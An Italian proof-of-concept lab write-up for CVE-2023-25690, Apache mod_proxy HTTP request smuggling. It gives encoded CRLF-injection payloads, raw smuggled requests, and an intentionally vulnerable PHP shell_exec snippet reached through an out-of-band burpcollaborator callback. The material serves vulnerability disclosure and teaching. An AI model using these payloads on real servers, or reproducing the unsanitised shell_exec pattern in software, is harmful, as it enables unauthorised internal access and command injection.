
CVE 2023 25690 Prova di concetto - La configurazione vulnerabile di mod_proxy su Apache HTTP Server versioni 2.4.0 - 2.4.55 porta a una vulnerabilità di HTTP Request Smuggling.
Alcune configurazioni mod_proxy su Apache HTTP Server versioni 2.4.0 fino a 2.4.55 consentono un attacco di contrabbando di richieste HTTP. Le configurazioni sono interessate quando mod_proxy è abilitato insieme a qualche forma di RewriteRule o ProxyPassMatch in cui un pattern non specifico corrisponde a una parte del request-target (URL) fornito dall'utente e viene poi reinserito nel request-target inoltrato utilizzando la sostituzione di variabili. Ad esempio, qualcosa come:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
Lo splitting/contrabbando di richieste potrebbe risultare nell'elusione dei controlli di accesso nel server proxy, nell'inoltro di URL non intenzionali a server di origine esistenti e nell'avvelenamento della cache. Si consiglia agli utenti di aggiornare almeno alla versione 2.4.56 di Apache HTTP Server.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Con RewriteEngine on incluso nella configurazione di Apache, viene abilitato il motore di riscrittura degli URL. La riscrittura degli URL è una tecnica che consente ai server web di modificare dinamicamente gli URL richiesti dal browser del client in un URL diverso prima di servire il contenuto.
Ad esempio, supponiamo di avere la seguente struttura URL per un negozio online:
https://example-shop.com/categories/1
Ipotizzando la seguente direttiva RewriteRule in un file di configurazione Apache:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Quando un utente richiede l'URL https://example-shop.com/categories/1, la RewriteRule corrisponderà all'URL e catturerà il valore 1 utilizzando l'espressione regolare ^/categories/(.*). La regola quindi riscrive l'URL in http://example-shop.com:8080/categories?id=1 aggiungendo il valore catturato all'URL riscritto come parametro di query id.
Poiché il flag [P] esiste nella regola, Apache tratterà l'URL riscritto come una richiesta proxy e lo inoltrerà al server di destinazione all'indirizzo http://example-shop.com:8080/categories con il parametro di query id impostato a 1. Il server di destinazione elaborerà quindi la richiesta e invierà la risposta ad Apache, che la inoltrerà al client.
In sintesi, la direttiva RewriteRule con il flag [P] viene utilizzata per riscrivere gli URL e inoltrarli a un server diverso. In questo caso, la regola corrisponde agli URL che iniziano con /categories/ e aggiunge il valore catturato come parametro di query id all'URL riscritto. Apache inoltra quindi la richiesta al server di destinazione, che elabora la richiesta e restituisce la risposta.
Infine, per quanto riguarda ProxyPassReverse /categories/ http://example-shop.com:8080/, questa riga sostituisce semplicemente il dominio e il percorso del server backend con il dominio e il percorso del server proxy, in modo che il client sia in grado di seguire correttamente i collegamenti e accedere al contenuto dal server backend inoltrato come se fosse servito direttamente dal server proxy.

Per simulare la vulnerabilità in Apache utilizzeremo la versione httpd 2.4.55. Inoltre, l'intero laboratorio sarà dockerizzato per una maggiore facilità di configurazione e riproducibilità.
La struttura dei file del laboratorio sarà la seguente:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
La configurazione finale di httpd.conf è strutturata come segue:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Usa il comando docker-compose.exe up --build per avviare il laboratorio.
In questa sezione, spiegherò come un'iniezione CRLF può portare a un contrabbando interno di richieste HTTP, consentendo a un attaccante di ottenere accesso non autorizzato a risorse interne altrimenti inaccessibili.
Basandosi sulla descrizione dell'avviso, httpd <=2.4.55 è vulnerabile allo HTTP Response Splitting, noto anche come CRLF Injection.
L'iniezione CRLF si verifica quando:
che nel nostro caso può essere confermato passando il seguente prefisso CRLF nell'URL:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
Aggiungendo il prefisso sopra all'URL, la richiesta finale risultante sarà la seguente:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
In seguito alla richiesta, il server elaborerà i dati e restituirà un codice di risposta 200 che indica la vulnerabilità all'iniezione CRLF.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Maggiori informazioni sullo splitting delle richieste HTTP possono essere trovate qui, https://owasp.org/www-community/attacks/HTTP_Response_Splitting
Utilizzando l'iniezione di intestazioni, eseguiremo il contrabbando interno di richieste HTTP.
Iniziamo con il seguente prefisso:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
e la seguente richiesta
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Applicando la regola di riscrittura, la richiesta subisce una trasformazione nel seguente formato:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
dove l'URL codificato viene decodificato in sintassi HTTP valida, causando al backend di trattare i dati decodificati come una seconda richiesta.
Supponiamo che la nostra applicazione interna abbia il seguente codice segreto:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
con il seguente prefisso siamo in grado di inviare la seconda richiesta alla funzionalità nascosta:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
e recuperare la richiesta su Burp Collaborator:

Patch:
L'impatto di questa vulnerabilità è che consente agli attaccanti di prendere di mira e accedere ad applicazioni interne che dovrebbero essere nascoste dal proxy inverso, potenzialmente portando ad accesso non autorizzato, perdita di dati o ulteriore sfruttamento.